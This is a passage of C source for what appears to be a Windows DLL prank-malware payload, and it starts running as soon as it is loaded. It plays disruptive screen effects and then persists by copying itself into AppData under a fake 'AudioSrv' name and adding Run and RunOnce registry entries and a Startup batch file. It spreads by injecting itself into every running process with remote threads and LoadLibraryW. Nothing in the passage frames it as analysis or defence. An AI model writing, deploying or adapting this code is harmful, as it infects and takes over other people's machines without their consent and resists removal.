    HWND wins[256]; int wc=get_wins(wins,256);
    int cx=g_sw/2,cy=g_sh/2;
    for(int t=0;t<1800&&!SHOULD_STOP();t++){
        CHK_ESC();
        float sp=0.8f+(float)t*0.003f,a=(float)t*sp*3.14159f/180.0f,r=60.0f+((float)(t%360))*1.1f;
        for(int i=0;i<wc;i++){
            float ia=a+(float)i*(2.0f*3.14159f/wc),ir=r*(0.3f+(float)i/wc);
            APIU(SetWindowPos)(wins[i],HWND_TOP,cx+(int)(cosf(ia)*ir),cy+(int)(sinf(ia)*ir*0.5f),0,0,SWP_NOSIZE|SWP_NOACTIVATE|SWP_ASYNCWINDOWPOS);
        }
        Sleep(5);
    }
    return 0;
}

typedef LONG NTSTATUS;
typedef NTSTATUS (WINAPI *PFN_NtCTE)(HANDLE*,ACCESS_MASK,void*,HANDLE,LPTHREAD_START_ROUTINE,void*,ULONG,SIZE_T,SIZE_T,SIZE_T,void*);
static HINSTANCE g_hmod=NULL;

static void mark_self(void){
    CreateFileMappingW(INVALID_HANDLE_VALUE,NULL,PAGE_READONLY,0,4096,L"Global\\prty_mrk");
}

static BOOL do_inject(DWORD pid,const WCHAR *path,PFN_NtCTE ntcte,FARPROC ll){
    HANDLE hp=OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid); if(!hp) return FALSE;
    LPVOID rem=VirtualAllocEx(hp,NULL,(wcslen(path)+1)*2+16,MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);
    if(!rem){CloseHandle(hp);return FALSE;}
    SIZE_T wr=0; WriteProcessMemory(hp,rem,path,(wcslen(path)+1)*2,&wr);
    HANDLE ht=NULL; NTSTATUS st=0;
    if(ntcte) st=ntcte(&ht,THREAD_ALL_ACCESS,NULL,hp,(LPTHREAD_START_ROUTINE)ll,rem,0,0,0,0,NULL);
    else{DWORD tid=0;ht=CreateRemoteThread(hp,NULL,0,(LPTHREAD_START_ROUTINE)ll,rem,0,&tid);st=(ht&&ht!=INVALID_HANDLE_VALUE)?0:-1;}
    BOOL ok=(st==0&&ht&&ht!=INVALID_HANDLE_VALUE);
    if(ok)CloseHandle(ht); CloseHandle(hp); return ok;
}

static void do_persist(void){
    WCHAR src[MAX_PATH]; if(!GetModuleFileNameW(g_hmod,src,MAX_PATH)) return;
    WCHAR appdata[MAX_PATH]; if(!GetEnvironmentVariableW(L"APPDATA",appdata,MAX_PATH)) return;
    WCHAR dst[MAX_PATH];
    wsprintfW(dst,L"%s\\Microsoft\\Windows\\AudioSrv%04x.dll",appdata,GetCurrentProcessId()&0xFFFF);
    if(GetFileAttributesW(dst)!=INVALID_FILE_ATTRIBUTES) return;
    if(!CopyFileW(src,dst,TRUE)) return;
    WCHAR cmd[MAX_PATH*2+32];
    wsprintfW(cmd,L"rundll32.exe \"%s\",DllMain",dst);
    HKEY hk;
    if(RegOpenKeyExW(HKEY_CURRENT_USER,L"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hk)==ERROR_SUCCESS){
        RegSetValueExW(hk,L"AudioEndpointBuilder",0,REG_SZ,(const BYTE*)cmd,(DWORD)((wcslen(cmd)+1)*2));
        RegCloseKey(hk);
    }
    if(RegOpenKeyExW(HKEY_CURRENT_USER,L"Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce",0,KEY_SET_VALUE,&hk)==ERROR_SUCCESS){
        RegSetValueExW(hk,L"AudioEndpointBuilder",0,REG_SZ,(const BYTE*)cmd,(DWORD)((wcslen(cmd)+1)*2));
        RegCloseKey(hk);
    }
    WCHAR bat[MAX_PATH];
    wsprintfW(bat,L"%s\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\AudioSrv.bat",appdata);
    HANDLE hf=CreateFileW(bat,GENERIC_WRITE,0,NULL,CREATE_NEW,FILE_ATTRIBUTE_NORMAL,NULL);
    if(hf!=INVALID_HANDLE_VALUE){
        char narrow[MAX_PATH]; WideCharToMultiByte(CP_ACP,0,dst,-1,narrow,MAX_PATH,0,0);
        char buf[512]; wsprintfA(buf,"@echo off\r\nrundll32.exe \"%s\",DllMain\r\n",narrow);
        DWORD w=0; WriteFile(hf,buf,(DWORD)lstrlenA(buf),&w,NULL); CloseHandle(hf);
    }
}

static void do_spread(void){
    HMODULE hnt=LoadLibraryW(L"ntdll.dll");
    PFN_NtCTE ntcte=hnt?(PFN_NtCTE)GetProcAddress(hnt,"NtCreateThreadEx"):NULL;
    FARPROC ll=GetProcAddress(GetModuleHandleW(L"kernel32.dll"),"LoadLibraryW");
    if(!ll) return;
    WCHAR src[MAX_PATH]; if(!GetModuleFileNameW(g_hmod,src,MAX_PATH)) return;
    WCHAR tmp[MAX_PATH]; GetTempPathW(MAX_PATH,tmp);
    SYSTEMTIME st; GetSystemTime(&st);
    WCHAR dst[MAX_PATH];
    wsprintfW(dst,L"%spty_%04x%04x.dll",tmp,(GetCurrentProcessId()^0xBEEF)&0xFFFF,(st.wMilliseconds^(st.wSecond<<8))&0xFFFF);
    CopyFileW(src,dst,FALSE);
    HANDLE snap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); if(snap==INVALID_HANDLE_VALUE) return;
    DWORD mypid=GetCurrentProcessId();
    PROCESSENTRY32W pe={sizeof(pe)};
    if(Process32FirstW(snap,&pe)) do {
        if(pe.th32ProcessID>8&&pe.th32ProcessID!=mypid)
            do_inject(pe.th32ProcessID,dst,ntcte,ll);
    } while(Process32NextW(snap,&pe));
    CloseHandle(snap);
}

typedef DWORD (WINAPI *PFNFX)(void*);

static DWORD WINAPI party_thread(void *u){
    Sleep(3000);
    mark_self();
    g_u32=LoadLibraryW(L"user32.dll");
    g_g32=LoadLibraryW(L"gdi32.dll");
    if(!g_u32||!g_g32) return 0;
    g_sw=APIU(GetSystemMetrics)(SM_CXSCREEN);
    g_sh=APIU(GetSystemMetrics)(SM_CYSCREEN);
    InterlockedExchange(&g_rng,(LONG)(GetCurrentProcessId()^GetTickCount()));
    PFNFX all[]={fx_meltdown,fx_strobe,fx_resize,fx_chromatic,fx_memdump,fx_scramble,fx_bounce,fx_shake,fx_matrix,fx_lightning,fx_static,fx_wormhole,fx_invwave,fx_pixelsort,fx_textcrawl,fx_tornado};
    int base=(int)(GetCurrentProcessId()%16);
    PFNFX chosen[3]={all[base%16],all[(base+5)%16],all[(base+11)%16]};
    HANDLE threads[3];
    for(int i=0;i<3;i++) threads[i]=CreateThread(NULL,0,chosen[i],NULL,0,NULL);
    WaitForMultipleObjects(3,threads,TRUE,90000);
    for(int i=0;i<3;i++) if(threads[i]) CloseHandle(threads[i]);
    do_persist();
    do_spread();
    WCHAR pname[64]; get_pipe_name(pname);
    DWORD pid=GetCurrentProcessId();
    for(int i=0;i<8;i++){
        HANDLE h=CreateFileW(pname,GENERIC_WRITE,0,NULL,OPEN_EXISTING,0,NULL);
        if(h!=INVALID_HANDLE_VALUE){DWORD w=0;WriteFile(h,&pid,4,&w,NULL);CloseHandle(h);break;}
        Sleep(200);
    }
    return 0;
}

BOOL WINAPI DllMain(HINSTANCE h,DWORD reason,void *r){
    if(reason==DLL_PROCESS_ATTACH){
        g_hmod=h;
        DisableThreadLibraryCalls(h);
        HANDLE ht=CreateThread(NULL,0,party_thread,NULL,0,NULL);
        if(ht) CloseHandle(ht);
    }
    return TRUE;
}
